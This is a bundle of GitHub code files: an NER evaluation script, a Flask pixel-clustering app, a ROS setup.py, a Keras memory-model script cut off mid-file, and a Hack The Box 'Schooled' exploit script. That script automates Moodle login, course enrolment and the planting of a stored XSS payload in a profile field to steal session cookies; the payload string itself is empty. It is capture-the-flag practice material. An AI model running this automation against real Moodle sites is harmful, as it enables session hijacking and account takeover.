Output text fiile where to save the analysis\n\n --window= If equal to \"single\" print the single tokens that were misclassified. [default: single]\n If it is an int, show the previous and following n tokens around the error.\n --type_error= What type of errors to show. For ex., \"B-PER,O\" will show the errors when\n the true label was B-PER but the predicted label is O (default: None)\n'''\n\nimport pandas as pd\nfrom argopt import argopt\n\nfrom seqeval.metrics import classification_report, f1_score\n\nfrom src.results.confusion_matrix_pretty_print import print_confusion_matrix\n\n\ndef print_results(y_true, y_pred):\n classif_report = classification_report(y_true, y_pred)\n print(classif_report)\n\n fscore = f1_score(y_true, y_pred)\n print(f\"F-score (micro): {fscore:.2f}\")\n fscore_str = f\"F-score (micro): {fscore:.2f}\"\n\n labels = list(set(y_true))\n labels.pop(labels.index(\"O\"))\n labels = sorted(labels, key=lambda x: (x[2:], x[0])) + [\"O\"]\n\n cm = print_confusion_matrix(y_true=y_true, y_pred=y_pred,\n labels=labels,\n return_string=True)\n print(cm)\n\n return classif_report, fscore_str, cm\n\n\ndef print_errors(results_df: pd.DataFrame, type_error=None, window=\"single\", return_string=False):\n \"\"\"\n Show the errors found in the read CoNLL file\n :param results_df: Input CoNLL file to test\n :param type_error: Dict containing the types of errors to show: ex.: {\"true\": \"B-PER_NOM\", \"pred\": \"O\"}.\n Show all the errors by default\n :param window: If \"single\", show the single misclassified token, if an int, show the previous and next n tokens\n :return_string: If True, print AND return a string with the results\n :return:\n \"\"\"\n from io import StringIO\n import sys\n\n errors_string = StringIO()\n old_stdout = sys.stdout\n if return_string:\n errors_string = StringIO()\n sys.stdout = errors_string\n\n results_df = results_df.fillna(\"\")\n results_df.index = range(1, len(results_df) + 1)\n if type_error:\n errors_idx = results_df[(results_df[\"true_tag\"] == type_error[\"true\"]) &\n (results_df[\"pred_tag\"] == type_error[\"pred\"])].index\n\n else:\n errors_idx = results_df[results_df[\"pred_tag\"] != results_df[\"true_tag\"]].index\n\n if window == \"single\":\n final_df = results_df.loc[errors_idx]\n print(final_df.to_string())\n elif isinstance(window, int):\n lower_bound, upper_bound = (-1, -1)\n for idx in errors_idx:\n if lower_bound < idx < upper_bound:\n continue\n lower_bound = max(0, idx - window)\n upper_bound = min(errors_idx.max(), idx + window)\n window_df = results_df.loc[lower_bound:upper_bound, :]\n print(f\"Line {idx} of the CoNLL file:\", end=\"\\n\\t\")\n print(window_df, end=\"\\n\\n\")\n\n if return_string:\n sys.stdout = old_stdout\n return errors_string.getvalue()\n\n\ndef main(conll_file_path, output_results_path, type_error, window):\n # Load conll file\n results_df = pd.read_csv(conll_file_path, delim_whitespace=True, names=[\"token\", \"true_tag\", \"pred_tag\"],\n skip_blank_lines=False)\n y_true = results_df[\"true_tag\"].dropna().values.tolist()\n y_pred = results_df[\"pred_tag\"].dropna().values.tolist()\n results = print_results(y_true=y_true, y_pred=y_pred)\n print()\n errors = print_errors(results_df=results_df, type_error=type_error, window=window, return_string=True)\n print(errors)\n results_errors = list(results) + [errors]\n\n with open(output_results_path, \"w\") as outo:\n for info in results_errors:\n outo.write(str(info))\n outo.write(\"\\n\\n\")\n\n\nif __name__ == '__main__':\n parser = argopt(__doc__).parse_args()\n conll_file_path = parser.conll_file_path\n output_results_path = parser.output_results_path\n window = parser.window\n if window.isdigit():\n window = int(window)\n\n if parser.type_error:\n type_error = parser.type_error.split(\",\")\n type_error = {\"true\": type_error[0], \"pred\": type_error[1]}\n else:\n type_error = parser.type_error\n\n main(conll_file_path=conll_file_path,\n output_results_path=output_results_path, type_error=type_error,\n window=window)\n","repo_name":"etalab-ia/pseudo_conseil_etat","sub_path":"src/results/conll_evaluate_results.py","file_name":"conll_evaluate_results.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"68"}
+{"seq_id":"14414388300","text":"# python3\n\nfrom flask import Flask, render_template, request\nfrom PIL import Image\nfrom sklearn import cluster as sk_cluster\nimport numpy as np\nimport random\nimport datetime\n\nnp.set_printoptions(threshold=np.nan)\n\napp = Flask(__name__, static_url_path = \"/images\", static_folder = \"images\")\n\nw, h = 6, 1024;\nx = 0\nsum_data = 0\nis_looping = {}\nrgb_im = {}\nim = {}\nlist_data = [[0 for x in range(w)] for y in range(h)] #list_data[[6]1024]\n\ncolors = [\"red\",\"green\",\"blue\",\"orange\",\"purple\",\"pink\",\"yellow\"]\n\nfor k in range(0,6):\n if k == 5:\n url = 'images/gb'+str(k+2)+'.GIF'\n else :\n url = 'images/gb'+str(k+1)+'.GIF'\n \n im[k] = Image.open(url)\n rgb_im[k] = im[k].convert('RGB')\n width, height = im[k].size\n\n# get pixel change to grayscale then enter to array\nfor i in range(0,width):\n for j in range(0,height):\n for k in range(0,6):\n pixel_im = rgb_im[k].getpixel((i,j))\n red_im = pixel_im[0]\n green_im = pixel_im[1]\n blue_im = pixel_im[2]\n gray_im = (red_im + green_im + blue_im)/3\n\n list_data[x][k] = gray_im\n\n is_looping[x] = True\n x = x + 1\n\n@app.route('/')\ndef main():\n return render_template('index.html')\n\n@app.route('/process', methods=['GET', 'POST'])\ndef process():\n if request.method =='POST':\n cluster = request.form['cluster']\n cluster_tmp = []\n x = 0\n\n result = sk_cluster.AgglomerativeClustering(n_clusters=int(cluster),linkage='complete').fit_predict(list_data)\n\n print(result)\n\n # for x in range(0,width*height):\n # for y in range(0,int(cluster)):\n # if result[x] == y:\n # cluster_tmp.append([])\n # cluster_tmp[y].append(x)\n\n # for x in range(0,int(cluster)):\n # print('Cluser '+str(x)+' : '+str(cluster_tmp[x]))\n\n # make image\n img = Image.new('RGB', [32,32], 0x000000)\n # loop = 0\n for i in range(0,width):\n for j in range(0,height):\n if result[x] == 0:\n img.putpixel((i,j),(255,0,0))\n elif result[x] == 1:\n img.putpixel((i,j),(0,255,0))\n elif result[x] == 2:\n img.putpixel((i,j),(0,0,255))\n elif result[x] == 3:\n img.putpixel((i,j),(255,255,0))\n elif result[x] == 4:\n img.putpixel((i,j),(255,0,255))\n elif result[x] == 5:\n img.putpixel((i,j),(0,255,255))\n elif result[x] == 6:\n img.putpixel((i,j),(0,0,0))\n else:\n img.putpixel((i,j),(255,255,255))\n\n x += 1\n\n now = datetime.datetime.now()\n img.save('images/'+str(now)+'.jpg')\n # img.show()\n url_image = str(now)+'.jpg'\n\n return render_template('hasil.html', cluster=cluster, url_image=url_image)\n\n else:\n return \"ok\"\n\n# run app\nif __name__ == \"__main__\":\n app.run()","repo_name":"adiputra17/multiband-image-clustering-py","sub_path":"app_lib.py","file_name":"app_lib.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"22496982931","text":"from setuptools import setup\n\npackage_name = 'turtlesim'\n\nsetup(\n name=package_name,\n version='0.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='luana',\n maintainer_email='luana@todo.todo',\n description='TODO: Package description',\n license='TODO: License declaration',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n \"draw_exe = turtlesim.draw:main\"\n ],\n },\n)","repo_name":"luanaparra/modulo6_ponderados","sub_path":"semana1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"36786421586","text":"#!/usr/bin/python3\n# Creator: brutuspt\n\nimport urllib.parse\nimport requests\nimport argparse\nimport os, sys\nimport base64\nfrom bs4 import BeautifulSoup\n\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument(\"-t\", \"--target\", help=\"Target Domain Name/IP\", required=True)\nparser.add_argument(\"-i\", \"--IP\", help=\"Attacker IP (Where to catch the rev shell)\", required=True)\nparser.add_argument(\"-p\", \"--port\", help=\"Attacker Port (Where to catch the rev shell)\", required=True)\nparser.add_argument(\"-U\", \"--username\", help=\"Username\", required=True)\nparser.add_argument(\"-P\", \"--password\", help=\"Password\", required=True)\n#parser.add_argument(\"-wp\", \"--webport\", help=\"Attacker Web Server Port (Where to server the payloads)\", required=True)\n\n\nargs = parser.parse_args()\n\ns = requests.Session()\n\"\"\"\ndef register (target, username, password):\n # Registers the user in the Moodle platform\n \n url = \"http://%s/moodle/login/signup.php\" % target\n \n headers = { \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\" }\n data = { \n \"sesskey\": \"LgTBsIGFGU\",\n \"_qf__login_signup_form\": 1,\n \"mform_isexpanded_id_createuserandpass\": 1,\n \"mform_isexpanded_id_supplyinfo\": 1, \n \"username\" : username,\n \"password\" : password, \n \"email\" : str(username)+\"@student.schooled.htb\",\n \"email2\" : str(username)+\"@student.schooled.htb\", \n \"firstname\": \"brutuspt\",\n \"lastname\": \"brutuspt\",\n \"city\": \"Lisboa\",\n \"contry\": \"PT\",\n \"submitbutton\" : \"Create my new account\" \n }\n \n proxies = { \"http\" : \"127.0.0.1:8080\" }\n \n r = s.post(url, headers=headers, data=data, proxies=proxies)\n \n if \"Please click on the link below to confirm your new account.\" in r.text:\n print(\"[INFO] \" + str(username) + \" was successfully registered in Moodle!\")\n else:\n print(\"[ERROR] Registration Failed!\")\n sys.exit(1)\n \n\n soup = BeautifulSoup(r.text, 'html.parser')\n\n for data in soup.find_all('input'):\n if str(username) in data:\n token = data.get(\"value\")\n print(token)\n\"\"\"\n\ndef login(target, username, password):\n #login function\n \n #proxies = { \"http\" : \"127.0.0.1:8080\" }\n headers = { \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\" }\n url = \"http://%s/moodle/login/index.php\" % target\n \n print(\"[INFO] Trying to grab the logintoken first...\")\n r = s.get(url, proxies=proxies)\n\n soup = BeautifulSoup(r.text, 'html.parser')\n\n login_token = soup.find(\"input\", {\"name\":\"logintoken\",\"type\": \"hidden\"}).get(\"value\")\n print(\"[SUCCESS] Grabbed!! Login Token: \" + str(login_token))\n \n print(\"[INFO] Using the login token to login into Mooddle...\")\n data = { \"logintoken\" : str(login_token), \"username\": username, \"password\" : password }\n \n r = s.post(url, data=data, headers=headers) # proxies=proxies\n if \"Dashboard\" in r.text:\n print(\"[INFO] Login using the \" + str(username) + \" user was successful!\")\n else:\n print(\"[ERROR] Login Failed!\")\n sys.exit(1)\n \n print(\"[INFO] Trying to grab the sesskey...\")\n\n # grabbing the sesskey...pain in the ass\n soup = BeautifulSoup(r.text, 'html.parser')\n sesskey = str(soup(\"script\")[1]).split(\"sesskey\")[1][3:13]\n print(\"[SUCCESS] sesskey extracted successfully: \" + str(sesskey))\n return sesskey\n\n\ndef enroll_maffs(target, sesskey):\n # This function will be responsible for signing my user into the Mathematics class\n \n #proxies = { \"http\" : \"127.0.0.1:8080\" }\n headers = { \n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\",\n \"Origin\": \"http://\"+ str(target),\n \"Referer\": \"http://\"+ str(target) + \"/moodle/enrol/index.php?id=5\",\n \"Connection\": \"close\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"DNT\": \"1\",\n \"Sec-GPC\": \"1\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"en-US,en;q=0.5\"\n\n }\n url = \"http://%s/moodle/enrol/index.php\" % target\n\n print(\"[INFO] Requesting access to the Maffs class...\")\n\n data = { \"id\" : \"5\", \"instance\": \"12\", \"sesskey\": sesskey, \"_qf__12_enrol_self_enrol_form\" : \"1\", \"mform_isexpanded_id_selfheader\" : \"1\", \"submitbutton\" : \"Enrol me\"}\n \n r = s.post(url, data=data, headers=headers, allow_redirects=True) # proxies=proxies\n #print(r.text)\n \n if \"You are enrolled in the course.\" in r.text:\n print(\"[SUCCESS] The user was successfully enrolled into the Maffs class\")\n else:\n print(\"[ERROR] It was not possible to enroll the user!\")\n \n\n\ndef exploit_xss(target, username, sesskey, ip, port):\n # Create the XSS payload\n # POST the payload\n # Wait for the target to trigger it\n # Retrieve the cookie\n\n payload = \"\"\n\n #proxies = { \"http\" : \"127.0.0.1:8080\" }\n headers = { \n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\",\n \"Origin\": \"http://\"+ str(target),\n \"Referer\": \"http://moodle.schooled.htb/moodle/user/edit.php?id=28&returnto=profile\",\n \"Connection\": \"close\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"DNT\": \"1\",\n \"Sec-GPC\": \"1\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"en-US,en;q=0.5\"\n\n }\n\n \n url = \"http://%s/moodle/user/edit.php\" % target\n\n print(\"[INFO] Editing the user profile, more specifically, the moodlenetprofile parameter\")\n\n data = \"course=1&id=28&returnto=profile&id=28&course=1&mform_isexpanded_id_moodle_picture=1&sesskey=\" + sesskey + \"&_qf__user_edit_form=1&mform_isexpanded_id_moodle=1&mform_isexpanded_id_moodle_additional_names=0&mform_isexpanded_id_moodle_interests=0&mform_isexpanded_id_moodle_optional=0&firstname=brutuspt&lastname=lal&email=brutuspt%40student.schooled.htb&maildisplay=2&moodlenetprofile=\" + urllib.parse.quote(payload) + \"&city=&country=PT&timezone=99&description_editor%5Btext%5D=&description_editor%5Bformat%5D=1&description_editor%5Bitemid%5D=253209954&imagefile=777744395&imagealt=&firstnamephonetic=&lastnamephonetic=&middlename=&alternatename=&interests=_qf__force_multiselect_submission&url=&icq=&skype=&aim=&yahoo=&msn=&idnumber=&institution=&department=&phone1=&phone2=&address=&submitbutton=Update+profile\"\n \n print(payload)\n \n r = s.post(url, data=data, headers=headers, allow_redirects=True) # proxies=proxies\n #print(r.text)\n \n if \"MoodleNet profile\" in r.text:\n print(\"[SUCCESS] We have successfully dropped our XSS payload into the moodlenetprofile area!\")\n else:\n print(\"[ERROR] Something went wrong, we did not manage to drop our XSS payload!\")\n \n\n\n\"\"\"\ndef create_server():\n # HTTP Server receiving our stolen cookies \n handler = http.server.SimpleHTTPRequestHandler\n httpd = socketserver.TCPServer((args.IP, int(args.webport)), handler)\n print(\"Serving our PHP payload here: http://%s:%s\" % (args.IP, args.webport))\n httpd.serve_forever()\n\nthreading.Thread(target=create_server).start()\n\"\"\"\n\ndef main():\n if args.target == \"moodle.schooled.htb\":\n #register(args.target, args.username, args.password)\n sesskey = login(args.target, args.username, args.password)\n enroll_maffs(args.target, sesskey)\n exploit_xss(args.target, args.username, sesskey, args.IP, args.port)\n\n else:\n print(\"[ERROR] Please use the subdomain moodle.schooled.htb as the target\")\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"brutuspt/0click_HTB","sub_path":"Medium/Schooled/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":7963,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"68"}
+{"seq_id":"13674732446","text":"# https://keras.io/examples/nlp/lstm_seq2seq/\n\nimport numpy as np\nimport argparse\nimport tensorflow as tf\nfrom tensorflow import keras\n# from tensorflow.keras.callbacks import EarlyStopping\nfrom dataset.synthetic_dataset_encoder_mlp import *\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import balanced_accuracy_score, recall_score\nfrom sklearn.metrics import classification_report\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import Conv1D\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import MaxPooling1D\nfrom tensorflow.keras.layers import BatchNormalization, Dropout, Activation\n# from keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras import layers\nimport pandas as pd\nimport pickle\nfrom tensorflow.keras.optimizers import RMSprop\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import Callback\n\ndef warn(*args, **kwargs):\n pass\nimport warnings\nwarnings.warn = warn\n\n\n# transformer block implementations\nclass TransformerBlock(layers.Layer):\n def __init__(self, embed_dim, num_heads, ff_dim, rate=0.1):\n super(TransformerBlock, self).__init__()\n self.att = layers.MultiHeadAttention(num_heads=num_heads,\n key_dim=embed_dim)\n self.ffn = keras.Sequential(\n [layers.Dense(ff_dim, activation=\"relu\"), layers.Dense(embed_dim), ]\n )\n self.layernorm1 = layers.LayerNormalization(epsilon=1e-6)\n self.layernorm2 = layers.LayerNormalization(epsilon=1e-6)\n self.dropout1 = layers.Dropout(rate)\n self.dropout2 = layers.Dropout(rate)\n\n def call(self, inputs, training):\n attn_output = self.att(inputs, inputs)\n attn_output = self.dropout1(attn_output, training=training)\n out1 = self.layernorm1(inputs + attn_output)\n ffn_output = self.ffn(out1)\n ffn_output = self.dropout2(ffn_output, training=training)\n return self.layernorm2(out1 + ffn_output)\n\n\nclass TokenAndPositionEmbedding(layers.Layer):\n def __init__(self, maxlen, vocab_size, embed_dim, memory_model):\n super(TokenAndPositionEmbedding, self).__init__()\n self.memory_model = memory_model\n if (self.memory_model != \"transformer_no_orthonormal\"):\n self.maxlen = maxlen\n # add encoding only when orthonormal encoding is not used\n if (self.memory_model == \"transformer_no_orthonormal\"):\n self.token_emb = layers.Embedding(input_dim=vocab_size,\n output_dim=embed_dim)\n self.pos_emb = layers.Embedding(input_dim=maxlen, output_dim=embed_dim)\n\n def call(self, x):\n if (self.memory_model == \"transformer_no_orthonormal\"):\n maxlen = tf.shape(x)[-1]\n if (self.memory_model != \"transformer_no_orthonormal\"):\n positions = tf.range(start=0, limit=self.maxlen, delta=1)\n else:\n positions = tf.range(start=0, limit=maxlen, delta=1)\n positions = self.pos_emb(positions)\n if (self.memory_model == \"transformer_no_orthonormal\"):\n x = self.token_emb(x)\n return x + positions\n\n\ndef load_dataset(args):\n # df = pd.read_csv('/workspace/memory_clean/Memory/memory_retention_raw.csv',\n # usecols=['index', 'seq_len', 'seq', 'rep_token_first_pos',\n # 'query_token', 'target_val'])\n if args.debug == 1:\n df = pd.read_csv(args.root_location + \"memory_retention_raw_26.csv\",\n usecols=['index', 'seq_len', 'seq',\n 'rep_token_first_pos',\n 'query_token', 'target_val'])\n else:\n df = pd.read_csv(args.root_location + \"memory_retention_raw.csv\",\n usecols=['index', 'seq_len', 'seq',\n 'rep_token_first_pos',\n 'query_token', 'target_val'])\n print(df.head())\n len_seq = df['seq_len'].to_numpy()\n raw_sequence = df['seq'].to_numpy()\n rep_token_first_pos = df['rep_token_first_pos'].to_numpy()\n token_rep = df['query_token'].to_numpy()\n target_y = df['target_val'].to_numpy()\n\n # read the pickle file\n if args.debug == 1:\n f = open(args.root_location + 'input_data_26.pkl', 'rb')\n orth_vectors = np.load(\n args.root_location + 'orthonormal_vectors_26.npy')\n else:\n f = open(args.root_location + 'input_data.pkl', 'rb')\n orth_vectors = np.load(\n args.root_location + 'orthonormal_vectors_512.npy')\n x = pickle.load(f)\n f.close()\n ip_sequence = np.load(args.root_location + 'raw_sequence.npy',\n allow_pickle=True)\n num_samples = len(x)\n raw_sample_length = len(raw_sequence)\n print(\"Number of samples {}\".format(num_samples))\n print(\"Number of samples in raw sequence {}\".format(raw_sample_length))\n return x, num_samples, len_seq, token_rep, rep_token_first_pos, \\\n ip_sequence, target_y, orth_vectors\n\n\n\"\"\"\nget the token id from the from the sequence, required for transformers\n\"\"\"\n\n\ndef orthonormal_decode(dataset, orthonormal_vectors):\n seq_dataset = []\n for sequence in dataset:\n seq = []\n for token in sequence:\n a = np.matmul(token, orthonormal_vectors.T)\n idx = np.isclose(a, 1)\n id = np.where(idx == True)\n if np.size(id) == 0:\n token_id = 0\n else:\n token_id = id[0][0]\n # do not append eos\n if (token_id == 511):\n break\n seq.append(token_id)\n seq_dataset.append(seq)\n\n return seq_dataset\n\n\n\"\"\"\nThis function parses and pads the data\n\"\"\"\n\n\ndef process_data(max_seq_len, latent_dim, padding, memory_model, num_samples, x,\n raw_sequence):\n # separate out the input to the encoder and the mlp\n # mlp is fed the last one hot encoded input\n x_mlp = [0] * num_samples\n x_encoder = [0] * num_samples\n\n for iter, seq in enumerate(x):\n # seq[-1] - eos seq[-2] - query token seq[0:-2] - seq\n x_mlp[iter] = seq[-2]\n # all but the last one hot encoded sequence\n x_encoder[iter] = seq[0:-2]\n # eos\n x_encoder[iter].append(seq[-1])\n\n # seq len + 1 for alphabet + eos as orthonormal vectors are created with eos\n # max size of seq len is not max seq len - 1 for the actual sequence + 1 for eos\n encoder_input_data = np.zeros((num_samples, max_seq_len,\n latent_dim * 2), dtype=\"float32\")\n\n mlp_input_data = np.zeros((num_samples, latent_dim * 2), dtype=\"float32\")\n\n if padding == 'pre_padding':\n print(\"The shape of the encoder data is: \" + str(\n encoder_input_data.shape))\n for i in range(num_samples):\n seq_len = len(x_encoder[i])\n\n for seq in range(seq_len):\n # fill the elements in encoder_input_data in the reverse order,\n # this ensures that zero padding is done before the sequence\n encoder_input_data[i, max_seq_len - seq_len + seq] = \\\n x_encoder[i][seq]\n mlp_input_data[i] = x_mlp[i]\n elif padding == 'post_padding':\n\n for i in range(num_samples):\n seq_len = len(x_encoder[i])\n for seq in range(seq_len):\n encoder_input_data[i, seq] = x_encoder[i][seq]\n mlp_input_data[i] = x_mlp[i]\n\n if memory_model == \"transformer_no_orthonormal\":\n # remove the query token - the last token in raw_sequence\n sequence_raw = []\n for seq in raw_sequence:\n sequence_raw.append(seq[:-1])\n raw_sequence_padded = keras.preprocessing.sequence.pad_sequences(\n sequence_raw, maxlen=max_seq_len - 1, value=0)\n else:\n raw_sequence_padded = raw_sequence\n\n return encoder_input_data, mlp_input_data, raw_sequence_padded\n\n\ndef define_nn_model(max_seq_len, memory_model, latent_dim, raw_seq_train,\n raw_seq_val):\n # Define an input sequence and process it.\n main_sequence = keras.Input(shape=(None, latent_dim * 2))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n\n if memory_model == \"lstm\":\n # Define an input sequence and process it.\n main_sequence = keras.Input(shape=(None, latent_dim * 2))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n\n \"\"\"\n # encoder = Sequential()\n dense_layer = Sequential()\n encoder = keras.layers.LSTM(128, return_state=True)\n # encoder.add(keras.layers.Dense(512))\n encoder_outputs, state_h, state_c = encoder(main_sequence)\n # state_h, state_c = encoder(main_sequence)\n # We discard `encoder_outputs` and only keep the states.\n encoder_states = tf.concat((state_h, state_c), 1)\n dense_layer.add(keras.layers.Dense(768))\n dense_layer.add(keras.layers.Dense(512))\n encoder_states = dense_layer(encoder_states)\n \"\"\"\n encoder_outputs, state_h, state_c = keras.layers.LSTM(240, return_state=True)(main_sequence)\n encoder_states = tf.concat((state_h, state_c), 1)\n #encoder_states = keras.layers.Dense(768)(encoder_states)\n encoder_states = keras.layers.Dense(512)(encoder_states)\n\n\n lr = 0.0013378606854350151\n print(\"Encoder chosen is LSTM\")\n elif memory_model == \"RNN\":\n # Define an input sequence and process it.\n main_sequence = keras.Input(shape=(None, latent_dim * 2))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n \"\"\"\n encoder = Sequential()\n encoder.add(keras.layers.SimpleRNN(256))\n encoder.add(keras.layers.Dense(1024, activation='relu'))\n encoder.add(keras.layers.Dense(512))\n encoder_output = encoder(main_sequence)\n encoder_states = encoder_output\n encoder.summary()\n \"\"\"\n encoder_states = keras.layers.SimpleRNN(584)(main_sequence)\n #encoder_states = keras.layers.BatchNormalization()(encoder_states)\n #encoder_states = keras.layers.Dropout(0.2)(encoder_states)\n #encoder_states = keras.layers.Dense(1024, activation='relu')(encoder_states)\n #encoder_states = keras.layers.BatchNormalization()(encoder_states)\n #encoder_states = keras.layers.Dropout(0.2)(encoder_states)\n encoder_states = keras.layers.Dense(512)(encoder_states)\n\n print(\"Encoder chosen is simple RNN\")\n print(\"Shape of the encoder output is: \" + str(encoder_states))\n lr = 1.0465692011515144e-05\n elif memory_model == \"CNN\":\n input_shape = (max_seq_len, latent_dim * 2)\n main_sequence = keras.Input(shape=(None, latent_dim * 2))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n \"\"\"\n encoder = Sequential()\n # there are 256 different channels and each channel 7 tokens are taken at once, and convolution is performed\n # dimesion of input is max_seq_len(100)*latent_dim*2(512) so after convolution the output size is max_seq_len because padding is same\n # then padding must be such that the max value of 50 outputs are taken, so each filter has 2 outputs for max seq size = 100\n # so total outputs = latent_dim(256)*2 = 512; since output is concatenated with token make sure that the dimensions are same\n encoder.add(\n keras.layers.Conv1D(filters=128, kernel_size=3, padding='same',\n activation='relu', input_shape=input_shape))\n encoder.add(\n keras.layers.Conv1D(filters=256, kernel_size=3, padding='same',\n strides=2, activation='relu'))\n encoder.add(\n keras.layers.Conv1D(filters=512, kernel_size=3, padding='same',\n strides=2, activation='relu'))\n\n # encoder.add(keras.layers.Dropout(0.3))\n encoder.add(keras.layers.GlobalMaxPooling1D())\n encoder.add(keras.layers.Dropout(0.3))\n # flatten makes the shape as [None, None]\n # encoder.add(Flatten())\n # encoder.add(keras.layers.Reshape((latent_dim*2,)))\n # encoder.add(Flatten())\n encoder.add(keras.layers.Dense(latent_dim * 2))\n\n encoder.summary()\n encoder_output = encoder(main_sequence)\n encoder_states = encoder_output\n \"\"\"\n # kernel size=1 because in this problem there is no relation between\n # any 2 tokens.\n # kernel size = 1 activation = tanh; pooling try others\n encoder_states = keras.layers.Conv1D(filters=128, kernel_size=3, padding='same',\n activation='relu', input_shape=input_shape)(main_sequence)\n encoder_states = keras.layers.Conv1D(filters=256, kernel_size=3, padding='same',\n strides=2, activation='relu')(encoder_states)\n encoder_states = keras.layers.Conv1D(filters=512, kernel_size=3, padding='same',\n strides=2, activation='relu')(encoder_states)\n encoder_states = keras.layers.GlobalMaxPooling1D()(encoder_states)\n #encoder_states = keras.layers.BatchNormalization()(encoder_states)\n encoder_states = keras.layers.Dropout(0.3)(encoder_states)\n encoder_states = keras.layers.Dense(latent_dim * 2)(encoder_states)\n\n print(\"Encoder chosen is CNN\")\n print(\"Shape of the encoder output is: \" + str(encoder_states))\n # lr = 0.00012691763008376296\n lr = 7.201800744529144e-05\n elif memory_model == \"transformer\":\n\n embed_dim = 32 # Embedding size for each token\n num_heads = 10 # Number of attention heads\n ff_dim = 8 # Hidden layer size in feed forward network inside transformer\n maxlen = max_seq_len\n vocab_size = max_seq_len\n main_sequence = keras.Input(shape=(None, latent_dim * 2))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n # inputs = layers.Input(shape=(maxlen,))\n embedding_layer = TokenAndPositionEmbedding(maxlen, vocab_size,\n embed_dim, memory_model)\n x = embedding_layer(main_sequence)\n transformer_block = TransformerBlock(embed_dim, num_heads, ff_dim)\n x = transformer_block(x)\n x = layers.GlobalAveragePooling1D()(x)\n x = layers.Dropout(0.1)(x)\n x = layers.Dense(20, activation=\"relu\")(x)\n x = layers.Dropout(0.1)(x)\n encoder_output = layers.Dense(latent_dim * 2)(x)\n encoder_states = encoder_output\n print(\"Shape of the encoder output is: \" + str(encoder_states))\n elif memory_model == \"transformer_no_orthonormal\":\n embed_dim = 32 # Embedding size for each token\n num_heads = 10 # Number of attention heads\n ff_dim = 32 # Hidden layer size in feed forward network inside transformer\n maxlen = max_seq_len\n vocab_size = maxlen\n main_sequence = layers.Input(shape=(maxlen - 1,))\n query_input_node = keras.Input(shape=(latent_dim * 2))\n\n # max length is 99 - do not restrict number of tokens; doesnt include eos\n # vocab_size is also 100 as there are 100 unique tokens\n embedding_layer = TokenAndPositionEmbedding(maxlen - 1, vocab_size,\n embed_dim, memory_model)\n x = embedding_layer(main_sequence)\n transformer_block = TransformerBlock(embed_dim, num_heads, ff_dim)\n x = transformer_block(x)\n x = layers.GlobalAveragePooling1D()(x)\n x = layers.Dropout(0.1)(x)\n outputs = layers.Dense(latent_dim * 2)(x)\n encoder_states = outputs\n\n # encoder_input_data_train/test must now be decoded to have a list of token_ids\n # encoder_input_data_train = np.array(orthonormal_decode(encoder_input_data_train, orthonormal_vectors))\n # encoder_input_data_test = np.array(orthonormal_decode(encoder_input_data_test, orthonormal_vectors))\n encoder_input_train = raw_seq_train\n encoder_input_val = raw_seq_val\n\n # query_encoder = Sequential()\n # query_ip_shape = query_train.shape[1]\n # query_encoder.add(Dense(latent_dim*2, input_shape=(query_ip_shape,), activation='relu'))\n # query_encoded_op = query_encoder(query_input_node)\n\n num_classes = 2\n input_shape = encoder_states.shape[1]\n\n concatenated_output = tf.reshape(\n tf.reduce_sum(encoder_states * query_input_node, axis=1), (-1, 1))\n\n concatenated_output_shape = 1 # (latent_dim*4)+1\n print(\"The concatenated input shape is: \" + str(concatenated_output_shape))\n\n\n \"\"\"\n y = keras.layers.Concatenate(axis=1)([encoder_states, query_input_node])\n y = keras.layers.BatchNormalization()(y)\n y = keras.layers.Dropout(0.2)(y)\n y = keras.layers.Dense(768, activation=keras.activations.relu)(y)\n y = keras.layers.BatchNormalization()(y)\n y = keras.layers.Dropout(0.2)(y)\n y = keras.layers.Dense(512, activation=keras.activations.relu)(y)\n y = keras.layers.BatchNormalization()(y)\n y = keras.layers.Dropout(0.2)(y)\n similarity_output = keras.layers.Dense(1, activation='sigmoid')(y)\n #similarity_output = keras.layers.Dense(1)(y)\n \"\"\"\n\n #similarity_output = tf.reshape(\n # tf.reduce_sum(encoder_states * query_input_node, axis=1), (-1, 1))\n # construct another model to learn the similarities between the encoded\n 